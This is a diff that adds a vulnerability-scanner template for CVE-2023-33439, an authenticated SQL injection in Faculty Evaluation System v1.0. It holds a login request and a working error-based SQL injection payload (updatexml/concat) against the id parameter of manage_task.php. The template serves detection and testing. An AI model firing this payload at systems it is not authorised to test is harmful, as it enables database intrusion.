diff --git a/http/cves/2023/CVE-2023-33439.yaml b/http/cves/2023/CVE-2023-33439.yaml new file mode 100644 index 0000000000..af59e3f2a7 --- /dev/null +++ b/http/cves/2023/CVE-2023-33439.yaml @@ -0,0 +1,42 @@ +id: CVE-2023-33439 + +info: + name: Faculty Evaluation System v1.0 - SQL Injection + author: Harsh + severity: high + description: | + Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id= + reference: + - https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md + - https://nvd.nist.gov/vuln/detail/CVE-2023-33439 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2023-33439 + cwe-id: CWE-89 + metadata: + verified: true + tags: cve,cve2023,sqli,faculty,authenticated + +http: + - raw: + - | + POST /ajax.php?action=login HTTP/1.1 + Host:{{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + email={{username}}&password={{password}}&login=1 + + - | + GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1 + Host:{{Hostname}} + + cookie-reuse: true + redirects: true + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(body, "Fatal error:")' + - 'contains(body, "XPATH syntax error:")' + condition: and